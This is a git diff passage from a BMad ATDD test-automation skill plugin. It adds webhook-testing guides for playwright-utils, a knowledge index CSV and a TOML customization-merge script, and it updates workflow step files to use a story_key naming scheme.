+  readonly templateName: string; // from webhookTemplate('...')
+  readonly timeoutMs: number; // the timeout that was exceeded
+  readonly totalReceived: number; // total webhooks seen in polling window
+  readonly receivedWebhooks: ReceivedWebhook[]; // last ≤10 received webhooks
+  readonly matcherDetails: string[]; // human-readable matcher summary
+
+  toJSON(): Record<string, unknown>; // serialize all fields for CI logs
+}
+```
+
+`receivedWebhooks` is capped at the last 10 entries. If more than 10 webhooks arrived, `totalReceived` shows the full count but `receivedWebhooks` contains only the most recent 10.
+
+## Reading the Error
+
+The error message format:
+
+```
+Webhook "movie.deleted" not received within 15000ms.
+3 webhook(s) were received but none matched.
+Matchers: field(event="movie.deleted"), field(data.id=42).
+```
+
+Use `matcherDetails` to confirm the matchers were configured correctly. Use `receivedWebhooks` to inspect actual payloads — compare field paths and values against what the matchers expect.
+
+## Validating the Error Shape in Tests
+
+```typescript
+import { WebhookTimeoutError, webhookTemplate } from '@seontechnologies/playwright-utils/webhook';
+
+const neverArrivingTemplate = webhookTemplate('never.arrives')
+  .matchField('event', 'event.that.never.happens')
+  .withTimeout(500)
+  .withInterval(100)
+  .build();
+
+const [waitResult] = await Promise.allSettled([webhookRegistry.waitFor(neverArrivingTemplate)]);
+
+expect(waitResult.status).toBe('rejected');
+if (waitResult.status !== 'rejected') {
+  throw new Error('Expected webhook wait to reject with WebhookTimeoutError');
+}
+
+const error = waitResult.reason as WebhookTimeoutError;
+expect(error).toBeInstanceOf(WebhookTimeoutError);
+expect(error.templateName).toBe('never.arrives');
+expect(error.timeoutMs).toBe(500);
+expect(error.toJSON()).toMatchObject({
+  name: 'WebhookTimeoutError',
+  templateName: 'never.arrives',
+  timeoutMs: 500,
+  totalReceived: expect.any(Number),
+  matcherDetails: ['field(event="event.that.never.happens")'],
+});
+```
+
+## Inspecting receivedWebhooks
+
+When a webhook arrives but doesn't match, `receivedWebhooks` shows you what actually came in:
+
+```typescript
+// Wait for create webhook first — puts it in the journal
+await webhookRegistry.waitFor(movieCreated(movieId));
+
+// Wait for delete webhook that will never arrive — no delete was called
+const undeliveredDelete = webhookTemplate<{
+  event: string;
+  data: { id: number };
+}>('movie.deleted.not.delivered')
+  .matchField('event', 'movie.deleted')
+  .matchField('data.id', movieId)
+  .withTimeout(2_000)
+  .withInterval(200)
+  .build();
+
+const [waitResult] = await Promise.allSettled([webhookRegistry.waitFor(undeliveredDelete)]);
+
+expect(waitResult.status).toBe('rejected');
+if (waitResult.status !== 'rejected') {
+  throw new Error('Expected webhook wait to reject with WebhookTimeoutError');
+}
+
+const error = waitResult.reason as WebhookTimeoutError;
+expect(error).toBeInstanceOf(WebhookTimeoutError);
+expect(error.totalReceived).toBeGreaterThanOrEqual(1);
+
+// The movie.created webhook that did arrive is visible in the error
+const createdWebhook = error.receivedWebhooks.find((w) => (w.body as { data: { id: number } }).data.id === movieId);
+expect(createdWebhook).toBeDefined();
+expect((createdWebhook!.body as { event: string }).event).toBe('movie.created');
+```
+
+## Common Failure Patterns
+
+| What you see                           | Likely cause                                         | Fix                                                               |
+| -------------------------------------- | ---------------------------------------------------- | ----------------------------------------------------------------- |
+| `totalReceived: 0`                     | Webhook not delivered; wrong URL or event not firing | Check application event publishing and webhook routing            |
+| `totalReceived > 0`, none match        | Webhooks arriving but matchers not matching          | Inspect `receivedWebhooks[0].body` — check field paths and values |
+| `matcherDetails` shows wrong path      | Template factory misconfigured                       | Print `error.toJSON()` and compare paths against actual payload   |
+| `totalReceived: 0` with `matched-only` | Another worker claimed and deleted the webhook first | Ensure template is scoped by entity ID                            |
+| Parse error in body                    | Webhook body is not valid JSON                       | Check `receivedWebhooks[n].parseError` and `rawBody`              |
+
+## matcherDetails Format per Matcher Type
+
+| Matcher                         | matcherDetails string |
+| ------------------------------- | --------------------- |
+| `matchField('event', 'x')`      | `field(event="x")`    |
+| `matchPartial({ a: 1 })`        | `partial({"a":1})`    |
+| `matchPredicate('my desc', fn)` | `predicate(my desc)`  |
+
+## Import
+
+```typescript
+import { WebhookTimeoutError } from '@seontechnologies/playwright-utils/webhook';
+```
+
+## Related Fragments
+
+- `webhook-template-matchers.md` — matcherDetails string format per matcher type
+- `webhook-waiting-querying.md` — waitFor and waitForCount throw this error on timeout
diff --git a/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/webhook-waiting-querying.md b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/webhook-waiting-querying.md
new file mode 100644
index 0000000..7474791
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/webhook-waiting-querying.md
@@ -0,0 +1,167 @@
+# Webhook Waiting and Querying Patterns
+
+## Principle
+
+`waitFor` and `waitForCount` poll until matching webhooks arrive; `getReceived` queries without waiting. Always drain preceding events before asserting on subsequent ones. Scope templates by entity ID to prevent parallel worker cross-contamination.
+
+## Pattern Examples
+
+### Example 1: waitFor — single webhook
+
+Poll until the first webhook matching the template arrives. Returns the typed `ReceivedWebhook<T>`.
+
+```typescript
+const webhook = await webhookRegistry.waitFor(movieCreated(movieId));
+
+expect(webhook.body).toMatchObject({
+  event: 'movie.created',
+  timestamp: expect.any(String),
+  data: {
+    id: movieId,
+    name: movie.name,
+    year: movie.year,
+    rating: movie.rating,
+  },
+});
+```
+
+### Example 2: The drain pattern — sequential events
+
+When testing a downstream event (e.g. deletion), always `waitFor` the preceding event first. Without the drain, the create webhook may remain in the journal and interfere with cleanup or subsequent polling.
+
+```typescript
+test('movie deletion triggers a webhook with correct payload', async ({ authToken, addMovie, deleteMovie, webhookRegistry }) => {
+  const movie = generateMovieWithoutId();
+  const { body: createResponse } = await addMovie(authToken, movie);
+  const movieId = createResponse.data.id;
+
+  await log.step('Drain the create webhook before testing the delete path');
+  await webhookRegistry.waitFor(movieCreated(movieId)); // drain — consume the create event
+
+  await deleteMovie(authToken, movieId);
+
+  await log.step('Wait for the delete webhook');
+  const webhook = await webhookRegistry.waitFor(movieDeleted(movieId));
+
+  expect(webhook.body).toMatchObject({
+    event: 'movie.deleted',
+    data: { id: movieId, name: movie.name },
+  });
+});
+```
+
+**Why drain?** If you skip the drain and go directly to `waitFor(movieDeleted)`, the create webhook is already in the journal. The delete webhook may arrive and be cleaned up by another test before your poll reaches it. Draining makes the event order explicit and removes the ambiguity.
+
+### Example 3: waitForCount — collect N webhooks concurrently
+
+Collect exactly N matching webhooks. Use `matchPredicate` with all IDs to prevent cross-worker contamination when running `fullyParallel: true`:
+
+```typescript
+await log.step('Create two movies concurrently');
+const [{ body: res1 }, { body: res2 }] = await Promise.all([
+  addMovie(authToken, generateMovieWithoutId()),
+  addMovie(authToken, generateMovieWithoutId()),
+]);
+
+const [id1, id2] = [res1.data.id, res2.data.id];
+
+const batchTemplate = webhookTemplate<{
+  event: string;
+  data: { id: number };
+}>('movie.created.batch')
+  .matchField('event', 'movie.created')
+  .matchPredicate(`data.id is ${id1} or ${id2}`, (p) => p.data.id === id1 || p.data.id === id2)
+  .withTimeout(15_000)
+  .withInterval(500)
+  .build();
+
+const webhooks = await webhookRegistry.waitForCount(batchTemplate, 2);
+
+expect(webhooks).toHaveLength(2);
+const receivedIds = webhooks.map((w) => w.body.data.id);
+expect(receivedIds).toContain(id1);
+expect(receivedIds).toContain(id2);
+expect(new Set(receivedIds).size).toBe(2); // guard against the same ID delivered twice
+```
+
+### Example 4: getReceived — query without waiting
+
+Query the journal without polling. Useful for asserting presence of webhooks after a `waitFor`, or for method/URL filtering.
+
+```typescript
+await webhookRegistry.waitFor(movieCreated(movieId)); // wait first
+
+const all = await webhookRegistry.getReceived();
+expect(all.length).toBeGreaterThanOrEqual(1);
+
+// Method filter — all sample-app webhooks are delivered via POST
+const postOnly = await webhookRegistry.getReceived({ method: 'POST' });
+expect(postOnly.every((w) => w.method === 'POST')).toBe(true);
+
+// URL pattern filter — match the webhooks endpoint path
+const byUrl = await webhookRegistry.getReceived({ urlPattern: '/webhooks' });
+expect(byUrl.every((w) => w.url.includes('/webhooks'))).toBe(true);
+```
+
+`getReceived` accepts `WebhookQueryFilter`:
+
+```typescript
+type WebhookQueryFilter = {
+  urlPattern?: string; // glob or regex string
+  method?: string; // HTTP method filter
+  since?: Date; // only return webhooks after this timestamp
+};
+```
+
+Note: `getReceived` is a direct passthrough to the provider — it does **not** automatically apply the `startedAt` filter. Only `waitFor` and `waitForCount` apply the since-filter internally during polling. If you need to scope a manual `getReceived` call to this test's time window, record your own timestamp before the action under test and pass `{ since: myTimestamp }` explicitly.
+
+## Parallel Worker Safety
+
+Always scope template factories to the entity's ID:
+
+```typescript
+// ✅ Scoped — only matches webhooks for this specific movie
+const movieCreated = (movieId: number) =>
+  webhookTemplate('movie.created')
+    .matchField('event', 'movie.created')
+    .matchField('data.id', movieId) // scoped by ID
+    .build();
+
+// ❌ Unscoped — will match any movie.created from any parallel worker
+const movieCreatedUnscoped = webhookTemplate('movie.created').matchField('event', 'movie.created').build();
+```
+
+## Method Summary
+
+| Method                      | Returns                         | Description                                                                                       |
+| --------------------------- | ------------------------------- | ------------------------------------------------------------------------------------------------- |
+| `waitFor(template)`         | `Promise<ReceivedWebhook<T>>`   | Poll until first match; throws `WebhookTimeoutError` on timeout                                   |
+| `waitForCount(template, n)` | `Promise<ReceivedWebhook<T>[]>` | Poll until N matches; throws `WebhookTimeoutError` on timeout                                     |
+| `getReceived(filter?)`      | `Promise<ReceivedWebhook[]>`    | Direct passthrough to provider — no automatic since-filter; pass `{ since }` explicitly if needed |
+| `resetJournal()`            | `Promise<void>`                 | Wipe the entire journal and clear matchedIds                                                      |
+| `cleanup()`                 | `Promise<void>`                 | Delete matched webhooks (`matched-only`) or reset journal (`full-reset`)                          |
+
+## Anti-Patterns
+
+**DON'T skip the drain for sequential events:**
+
+```typescript
+// Bad: direct jump to delete webhook — create webhook pollutes the journal
+await addMovie(authToken, movie);
+const webhook = await webhookRegistry.waitFor(movieDeleted(movieId));
+```
+
+**DO drain preceding events:**
+
+```typescript
+// Good: drain create first, then wait for delete
+await webhookRegistry.waitFor(movieCreated(movieId)); // drain
+await deleteMovie(authToken, movieId);
+const webhook = await webhookRegistry.waitFor(movieDeleted(movieId));
+```
+
+## Related Fragments
+
+- `webhook-template-matchers.md` — How to build templates
+- `webhook-timeout-error.md` — What to do when waitFor times out
+- `recurse.md` — The polling primitive used internally by the registry
diff --git a/plugins/bmad/skills/bmad-testarch-atdd/resources/tea-index.csv b/plugins/bmad/skills/bmad-testarch-atdd/resources/tea-index.csv
new file mode 100644
index 0000000..ebd3200
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-atdd/resources/tea-index.csv
@@ -0,0 +1,50 @@
+id,name,description,tags,tier,fragment_file
+fixture-architecture,Fixture Architecture,"Composable fixture patterns (pure function → fixture → merge) and reuse rules","fixtures,architecture,playwright,cypress",core,knowledge/fixture-architecture.md
+network-first,Network-First Safeguards,"Intercept-before-navigate workflow, HAR capture, deterministic waits, edge mocking","network,stability,playwright,cypress,ui",core,knowledge/network-first.md
+data-factories,Data Factories and API Setup,"Factories with overrides, API seeding, cleanup discipline","data,factories,setup,api,backend,seeding",core,knowledge/data-factories.md
+component-tdd,Component TDD Loop,"Red→green→refactor workflow, provider isolation, accessibility assertions","component-testing,tdd,ui",extended,knowledge/component-tdd.md
+playwright-config,Playwright Config Guardrails,"Environment switching, timeout standards, artifact outputs","playwright,config,env",extended,knowledge/playwright-config.md
+ci-burn-in,CI and Burn-In Strategy,"Staged jobs, shard orchestration, burn-in loops, artifact policy","ci,automation,flakiness",extended,knowledge/ci-burn-in.md
+selective-testing,Selective Test Execution,"Tag/grep usage, spec filters, diff-based runs, promotion rules","risk-based,selection,strategy",extended,knowledge/selective-testing.md
+feature-flags,Feature Flag Governance,"Enum management, targeting helpers, cleanup, release checklists","feature-flags,governance,launchdarkly",specialized,knowledge/feature-flags.md
+contract-testing,Contract Testing Essentials,"Pact publishing, provider verification, resilience coverage","contract-testing,pact,api,backend,microservices,service-contract",specialized,knowledge/contract-testing.md
+email-auth,Email Authentication Testing,"Magic link extraction, state preservation, caching, negative flows","email-authentication,security,workflow",specialized,knowledge/email-auth.md
+error-handling,Error Handling Checks,"Scoped exception handling, retry validation, telemetry logging","resilience,error-handling,stability,api,backend",extended,knowledge/error-handling.md
+visual-debugging,Visual Debugging Toolkit,"Trace viewer usage, artifact expectations, accessibility integration","debugging,dx,tooling,ui",specialized,knowledge/visual-debugging.md
+risk-governance,Risk Governance,"Scoring matrix, category ownership, gate decision rules","risk,governance,gates",core,knowledge/risk-governance.md
+probability-impact,Probability and Impact Scale,"Shared definitions for scoring matrix and gate thresholds","risk,scoring,scale",core,knowledge/probability-impact.md
+test-quality,Test Quality Definition of Done,"Execution limits, isolation rules, green criteria","quality,definition-of-done,tests",core,knowledge/test-quality.md
+nfr-criteria,NFR Review Criteria,"Security, performance, reliability, maintainability status definitions","nfr,assessment,quality",extended,knowledge/nfr-criteria.md
+test-levels,Test Levels Framework,"Guidelines for choosing unit, integration, or end-to-end coverage","testing,levels,selection,api,backend,ui",core,knowledge/test-levels-framework.md
+test-priorities,Test Priorities Matrix,"P0–P3 criteria, coverage targets, execution ordering","testing,prioritization,risk",core,knowledge/test-priorities-matrix.md
+test-healing-patterns,Test Healing Patterns,"Common failure patterns and automated fixes","healing,debugging,patterns",core,knowledge/test-healing-patterns.md
+selector-resilience,Selector Resilience,"Robust selector strategies and debugging techniques","selectors,locators,debugging,ui",core,knowledge/selector-resilience.md
+timing-debugging,Timing Debugging,"Race condition identification and deterministic wait fixes","timing,async,debugging",extended,knowledge/timing-debugging.md
+overview,Playwright Utils Overview,"Installation, design principles, fixture patterns for API and UI testing","playwright-utils,fixtures,api,backend,ui",core,knowledge/overview.md
+api-request,API Request,"Typed HTTP client, schema validation, retry logic, operation-based overload for API and service testing","api,backend,service-testing,api-testing,playwright-utils,openapi,codegen,operation",core,knowledge/api-request.md
+network-recorder,Network Recorder,"HAR record/playback, CRUD detection for offline UI testing","network,playwright-utils,ui,har",extended,knowledge/network-recorder.md
+auth-session,Auth Session,"Token persistence, multi-user, API and browser authentication","auth,playwright-utils,api,backend,jwt,token",core,knowledge/auth-session.md
+intercept-network-call,Intercept Network Call,"Network spy/stub, JSON parsing for UI tests","network,playwright-utils,ui",extended,knowledge/intercept-network-call.md
+recurse,Recurse Polling,"Async polling for API responses, background jobs, eventual consistency","polling,playwright-utils,api,backend,async,eventual-consistency",extended,knowledge/recurse.md
+log,Log Utility,"Report logging, structured output for API and UI tests","logging,playwright-utils,api,ui",extended,knowledge/log.md
+file-utils,File Utilities,"CSV/XLSX/PDF/ZIP validation for API exports and UI downloads","files,playwright-utils,api,backend,ui",extended,knowledge/file-utils.md
+burn-in,Burn-in Runner,"Smart test selection, git diff for CI optimization","ci,playwright-utils",extended,knowledge/burn-in.md
+network-error-monitor,Network Error Monitor,"HTTP 4xx/5xx detection for UI tests","monitoring,playwright-utils,ui",extended,knowledge/network-error-monitor.md
+fixtures-composition,Fixtures Composition,"mergeTests composition patterns for combining utilities","fixtures,playwright-utils",extended,knowledge/fixtures-composition.md
+api-testing-patterns,API Testing Patterns,"Pure API test patterns without browser: service testing, microservices, GraphQL","api,backend,service-testing,api-testing,microservices,graphql,no-browser",specialized,knowledge/api-testing-patterns.md
+pactjs-utils-overview,Pact.js Utils Overview,"Installation, contract testing flows, utility table (createProviderState, toJsonMap, setJsonContent, setJsonBody)","pactjs-utils,contract-testing,pact,api,backend,microservices",specialized,knowledge/pactjs-utils-overview.md
+pactjs-utils-consumer-helpers,Pact.js Utils Consumer Helpers,"createProviderState, toJsonMap, setJsonContent, setJsonBody for consumer-side Pact helpers","pactjs-utils,consumer,contract-testing,pact,api",specialized,knowledge/pactjs-utils-consumer-helpers.md
+pactjs-utils-provider-verifier,Pact.js Utils Provider Verifier,"buildVerifierOptions, buildMessageVerifierOptions for provider verification","pactjs-utils,provider,contract-testing,pact,api,backend,ci",specialized,knowledge/pactjs-utils-provider-verifier.md
+pactjs-utils-request-filter,Pact.js Utils Request Filter,"createRequestFilter, noOpRequestFilter for auth injection","pactjs-utils,auth,contract-testing,pact",specialized,knowledge/pactjs-utils-request-filter.md
+pact-mcp,Pact MCP Server,"SmartBear MCP for PactFlow: generate tests, review, can-i-deploy, provider states","pact,mcp,pactflow,contract-testing,broker",specialized,knowledge/pact-mcp.md
+pact-consumer-framework-setup,Pact Consumer CDC Framework Setup,"Directory structure, vitest config, shell scripts, CI workflow, PactV4 patterns for consumer CDC","pactjs-utils,consumer,contract-testing,pact,ci,framework,setup,vitest,shell-scripts",specialized,knowledge/pact-consumer-framework-setup.md
+adr-quality-readiness-checklist,ADR Quality Readiness Checklist,"8-category 29-criteria framework for ADR testability and NFR assessment","nfr,testability,adr,quality,assessment,checklist",extended,knowledge/adr-quality-readiness-checklist.md
+playwright-cli,Playwright CLI,"Token-efficient CLI for AI coding agents: element refs, sessions, snapshots, trace analysis, debug=cli autonomous investigation","cli,browser,agent,automation,snapshot,trace,debug",core,knowledge/playwright-cli.md
+pact-consumer-di,Pact Consumer DI Pattern,"Dependency injection pattern for Pact consumer tests — call actual source code instead of raw fetch by injecting mock server URL via optional baseUrl in context type","contract-testing,pact,consumer,dependency-injection,api,backend,architecture",extended,knowledge/pact-consumer-di.md
+webhook-fundamentals,Webhook Testing Fundamentals,"Why webhook delivery is hard: async, parallel pollution, opaque timeouts, cleanup drift. playwright-utils approach with polling, typed matchers, rich errors, startedAt isolation","webhook,async,playwright-utils,event-driven,eventually-consistent",core,knowledge/webhook-testing-fundamentals.md
+webhook-setup,Webhook Module Setup,"Fixture wiring for WireMock/MockServer/Mockoon providers, matched-only vs full-reset cleanup strategy, fullyParallel race condition fix","webhook,fixtures,playwright-utils,wiremock,mockserver,mockoon,setup",core,knowledge/webhook-module-setup.md
+webhook-matchers,Webhook Template Matchers,"matchField (dot-path exact), matchPartial (deep subset), matchPredicate (arbitrary fn), AND semantics, template factories, clone, withTimeout, withInterval","webhook,matchers,playwright-utils,templates,patterns",core,knowledge/webhook-template-matchers.md
+webhook-waiting,Webhook Waiting and Querying,"waitFor, waitForCount, getReceived, drain pattern for sequential events, parallel worker safety via ID-scoped templates","webhook,async,playwright-utils,polling,patterns,eventually-consistent",core,knowledge/webhook-waiting-querying.md
+webhook-timeout-error,WebhookTimeoutError Debugging,"templateName, timeoutMs, totalReceived, receivedWebhooks, matcherDetails, toJSON — inspect what arrived vs what was expected","webhook,debugging,errors,playwright-utils",extended,knowledge/webhook-timeout-error.md
+webhook-providers,Webhook Provider Patterns,"WireMock (deleteById supported), MockServer (deleteById no-op), Mockoon (deleteById no-op, 100-entry limit), custom WebhookProvider interface","webhook,providers,playwright-utils,wiremock,mockserver,mockoon",extended,knowledge/webhook-providers.md
+webhook-risk,Webhook Testing Risk Guidance,"When webhook tests are required, P2×I3 default risk score, complete test checklist, failure patterns and mitigations, TA assessment checklist","webhook,risk,assessment,event-driven,async,playwright-utils,governance",core,knowledge/webhook-risk-guidance.md
diff --git a/plugins/bmad/skills/bmad-testarch-atdd/scripts/resolve-customization.py b/plugins/bmad/skills/bmad-testarch-atdd/scripts/resolve-customization.py
new file mode 100755
index 0000000..d9994a5
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-atdd/scripts/resolve-customization.py
@@ -0,0 +1,183 @@
+#!/usr/bin/env python3
+# /// script
+# requires-python = ">=3.11"
+# ///
+"""Resolve customization for a BMad skill using three-layer TOML merge.
+
+Reads customization from three layers (highest priority first):
+  1. {project-root}/_bmad/customizations/{name}.user.toml  (personal, gitignored)
+  2. {project-root}/_bmad/customizations/{name}.toml        (team/org, committed)
+  3. ./customize.toml                                       (skill defaults)
+
+Outputs merged JSON to stdout. Errors go to stderr.
+
+Usage:
+  python ./scripts/resolve-customization.py {skill-name}
+  python ./scripts/resolve-customization.py {skill-name} --key persona
+  python ./scripts/resolve-customization.py {skill-name} --key persona.displayName --key inject
+"""
+
+from __future__ import annotations
+
+import argparse
+import json
+import sys
+import tomllib
+from pathlib import Path
+from typing import Any
+
+
+def find_project_root(start: Path) -> Path | None:
+    """Walk up from *start* looking for a directory containing ``_bmad/`` or ``.git``."""
+    current = start.resolve()
+    while True:
+        if (current / "_bmad").is_dir() or (current / ".git").exists():
+            return current
+        parent = current.parent
+        if parent == current:
+            return None
+        current = parent
+
+
+def load_toml(path: Path) -> dict[str, Any]:
+    """Return parsed TOML or empty dict if the file doesn't exist."""
+    if not path.is_file():
+        return {}
+    try:
+        with open(path, "rb") as f:
+            return tomllib.load(f)
+    except (tomllib.TOMLDecodeError, OSError) as exc:
+        print(f"warning: failed to parse {path}: {exc}", file=sys.stderr)
+        return {}
+
+
+# ---------------------------------------------------------------------------
+# Merge helpers
+# ---------------------------------------------------------------------------
+
+def _is_menu_array(value: Any) -> bool:
+    """True when *value* is a non-empty list where ALL items are dicts with a ``code`` key."""
+    return (
+        isinstance(value, list)
+        and len(value) > 0
+        and all(isinstance(item, dict) and "code" in item for item in value)
+    )
+
+
+def merge_menu(base: list[dict], override: list[dict]) -> list[dict]:
+    """Merge-by-code: matching codes replace; new codes append."""
+    result_by_code: dict[str, dict] = {item["code"]: dict(item) for item in base if "code" in item}
+    for item in override:
+        if "code" not in item:
+            print(f"warning: menu item missing 'code' key, skipping: {item}", file=sys.stderr)
+            continue
+        result_by_code[item["code"]] = dict(item)
+    return list(result_by_code.values())
+
+
+def deep_merge(base: dict[str, Any], override: dict[str, Any]) -> dict[str, Any]:
+    """Recursively merge *override* into *base*.
+
+    Rules:
+      - Tables (dicts): sparse override -- recurse, unmentioned keys kept.
+      - ``[[menu]]`` arrays (items with ``code`` key): merge-by-code.
+      - All other arrays: atomic replace.
+      - Scalars: override wins.
+    """
+    merged = dict(base)
+    for key, over_val in override.items():
+        base_val = merged.get(key)
+
+        if isinstance(over_val, dict) and isinstance(base_val, dict):
+            merged[key] = deep_merge(base_val, over_val)
+        elif _is_menu_array(over_val) and _is_menu_array(base_val):
+            merged[key] = merge_menu(base_val, over_val)  # type: ignore[arg-type]
+        else:
+            merged[key] = over_val
+
+    return merged
+
+
+# ---------------------------------------------------------------------------
+# Key extraction
+# ---------------------------------------------------------------------------
+
+def extract_key(data: dict[str, Any], dotted_key: str) -> Any:
+    """Retrieve a value by dotted path (e.g. ``persona.displayName``)."""
+    parts = dotted_key.split(".")
+    current: Any = data
+    for part in parts:
+        if isinstance(current, dict) and part in current:
+            current = current[part]
+        else:
+            return None
+    return current
+
+
+# ---------------------------------------------------------------------------
+# Main
+# ---------------------------------------------------------------------------
+
+def main() -> None:
+    parser = argparse.ArgumentParser(
+        description="Resolve BMad skill customization (three-layer TOML merge).",
+        epilog=(
+            "Resolution priority: user.toml > team.toml > skill defaults.\n"
+            "Output is JSON. Use --key to request specific fields (JIT resolution)."
+        ),
+    )
+    parser.add_argument(
+        "skill_name",
+        help="Skill identifier (e.g. bmad-agent-pm, bmad-product-brief)",
+    )
+    parser.add_argument(
+        "--key",
+        action="append",
+        dest="keys",
+        metavar="FIELD",
+        help="Dotted field path to resolve (repeatable). Omit for full dump.",
+    )
+    args = parser.parse_args()
+
+    # Locate the skill's own customize.toml (one level up from scripts/)
+    script_dir = Path(__file__).resolve().parent
+    skill_dir = script_dir.parent
+    defaults_path = skill_dir / "customize.toml"
+
+    # Locate project root for override files
+    project_root = find_project_root(Path.cwd())
+    if project_root is None:
+        # Try from the skill directory as fallback
+        project_root = find_project_root(skill_dir)
+
+    # Load three layers (lowest priority first, then merge upward)
+    defaults = load_toml(defaults_path)
+
+    team: dict[str, Any] = {}
+    user: dict[str, Any] = {}
+    if project_root is not None:
+        customizations_dir = project_root / "_bmad" / "customizations"
+        team = load_toml(customizations_dir / f"{args.skill_name}.toml")
+        user = load_toml(customizations_dir / f"{args.skill_name}.user.toml")
+
+    # Merge: defaults <- team <- user
+    merged = deep_merge(defaults, team)
+    merged = deep_merge(merged, user)
+
+    # Output
+    if args.keys:
+        result = {}
+        for key in args.keys:
+            value = extract_key(merged, key)
+            if value is not None:
+                result[key] = value
+        json.dump(result, sys.stdout, indent=2, ensure_ascii=False)
+    else:
+        json.dump(merged, sys.stdout, indent=2, ensure_ascii=False)
+
+    # Ensure trailing newline for clean terminal output
+    print()
+
+
+if __name__ == "__main__":
+    main()
diff --git a/plugins/bmad/skills/bmad-testarch-atdd/steps-c/step-01-preflight-and-context.md b/plugins/bmad/skills/bmad-testarch-atdd/steps-c/step-01-preflight-and-context.md
index 7ade7c4..256b69a 100644
--- a/plugins/bmad/skills/bmad-testarch-atdd/steps-c/step-01-preflight-and-context.md
+++ b/plugins/bmad/skills/bmad-testarch-atdd/steps-c/step-01-preflight-and-context.md
@@ -1,16 +1,16 @@
 ---
 name: 'step-01-preflight-and-context'
 description: 'Verify prerequisites and load story, framework, and knowledge base'
-outputFile: '{test_artifacts}/atdd-checklist-{story_id}.md'
+outputFile: '{test_artifacts}/atdd-checklist-{story_key}.md'
 nextStepFile: './step-02-generation-mode.md'
-knowledgeIndex: '${CLAUDE_PLUGIN_ROOT}/_shared/tea-index.csv'
+knowledgeIndex: './resources/tea-index.csv'
 ---
 
 # Step 1: Preflight & Context Loading
 
 ## STEP GOAL
 
-Verify prerequisites and load all required inputs before generating failing tests.
+Verify prerequisites and load all required inputs before generating red-phase acceptance test scaffolds.
 
 ## MANDATORY EXECUTION RULES
 
@@ -71,6 +71,17 @@ If any are missing: **HALT** and notify the user.
 - Read story markdown from `{story_file}` (or ask user if not provided)
 - Extract acceptance criteria and constraints
 - Identify affected components and integrations
+- Derive and store `story_key` from the story filename when available (for BMM stories, this is the filename without `.md`, e.g. `1-2-user-authentication`)
+- Derive and store `story_id` from story metadata, the H1 heading, or the filename when available (for BMM stories, this is typically `{epic_num}.{story_num}`)
+- If a filename-based `story_key` is not available, create and persist a stable slug from the story title:
+  - lowercase the title
+  - collapse runs of whitespace to single `-`
+  - strip all non-alphanumeric and non-hyphen characters
+  - trim leading/trailing hyphens
+  - truncate to a safe max length (64 chars)
+- Use that slug as `story_key` and for `{outputFile}` basename so all checklist and handoff paths stay consistent
+- If `story_id` is still unavailable after metadata/H1/filename parsing, set it to the final `story_key` so `story_id` is never empty
+- Preserve `{story_file}` as a tracked artifact path for later handoff into BMM `dev-story`
 
 ---
 
@@ -210,7 +221,14 @@ Summarize loaded inputs and confirm with the user. Then proceed.
   - Set `lastSaved: '{date}'`
   - Append this step's output to the appropriate section.
 
-**Update `inputDocuments`**: Set `inputDocuments` in the output template frontmatter to the list of artifact paths loaded in this step (e.g., knowledge fragments, test design documents, configuration files).
+**Update frontmatter fields**:
+
+- Set `storyId` to `{story_id}`
+- Set `storyKey` to `{story_key}`
+- Set `storyFile` to `{story_file}`
+- Set `atddChecklistPath` to `{outputFile}`
+- Initialize `generatedTestFiles` to `[]`
+- Set `inputDocuments` to the list of artifact paths loaded in this step (e.g., knowledge fragments, test design documents, configuration files)
 
 Load next step: `{nextStepFile}`
 
diff --git a/plugins/bmad/skills/bmad-testarch-atdd/steps-c/step-01b-resume.md b/plugins/bmad/skills/bmad-testarch-atdd/steps-c/step-01b-resume.md
index 0bb650d..3872c0e 100644
--- a/plugins/bmad/skills/bmad-testarch-atdd/steps-c/step-01b-resume.md
+++ b/plugins/bmad/skills/bmad-testarch-atdd/steps-c/step-01b-resume.md
@@ -1,7 +1,7 @@
 ---
 name: 'step-01b-resume'
 description: 'Resume interrupted workflow from last completed step'
-outputFile: '{test_artifacts}/atdd-checklist-{story_id}.md'
+outputFile: '{test_artifacts}/atdd-checklist-{story_key}.md'
 ---
 
 # Step 1b: Resume Workflow
diff --git a/plugins/bmad/skills/bmad-testarch-atdd/steps-c/step-02-generation-mode.md b/plugins/bmad/skills/bmad-testarch-atdd/steps-c/step-02-generation-mode.md
index 984040e..a41c1d0 100644
--- a/plugins/bmad/skills/bmad-testarch-atdd/steps-c/step-02-generation-mode.md
+++ b/plugins/bmad/skills/bmad-testarch-atdd/steps-c/step-02-generation-mode.md
@@ -1,7 +1,7 @@
 ---
 name: 'step-02-generation-mode'
 description: 'Choose AI generation or recording mode'
-outputFile: '{test_artifacts}/atdd-checklist-{story_id}.md'
+outputFile: '{test_artifacts}/atdd-checklist-{story_key}.md'
 nextStepFile: './step-03-test-strategy.md'
 ---
 
diff --git a/plugins/bmad/skills/bmad-testarch-atdd/steps-c/step-03-test-strategy.md b/plugins/bmad/skills/bmad-testarch-atdd/steps-c/step-03-test-strategy.md
index 6bf0ce1..20c5a7d 100644
--- a/plugins/bmad/skills/bmad-testarch-atdd/steps-c/step-03-test-strategy.md
+++ b/plugins/bmad/skills/bmad-testarch-atdd/steps-c/step-03-test-strategy.md
@@ -1,7 +1,7 @@
 ---
 name: 'step-03-test-strategy'
 description: 'Map acceptance criteria to test levels and priorities'
-outputFile: '{test_artifacts}/atdd-checklist-{story_id}.md'
+outputFile: '{test_artifacts}/atdd-checklist-{story_key}.md'
 nextStepFile: './step-04-generate-tests.md'
 ---
 
diff --git a/plugins/bmad/skills/bmad-testarch-atdd/steps-c/step-04-generate-tests.md b/plugins/bmad/skills/bmad-testarch-atdd/steps-c/step-04-generate-tests.md
index 2086e89..e19559e 100644
--- a/plugins/bmad/skills/bmad-testarch-atdd/steps-c/step-04-generate-tests.md
+++ b/plugins/bmad/skills/bmad-testarch-atdd/steps-c/step-04-generate-tests.md
@@ -1,14 +1,14 @@
 ---
 name: 'step-04-generate-tests'
-description: 'Orchestrate adaptive FAILING test generation (TDD red phase)'
+description: 'Orchestrate adaptive red-phase test scaffold generation (TDD red phase)'
 nextStepFile: './step-04c-aggregate.md'
 ---
 
-# Step 4: Orchestrate Adaptive FAILING Test Generation
+# Step 4: Orchestrate Adaptive Red-Phase Test Scaffold Generation
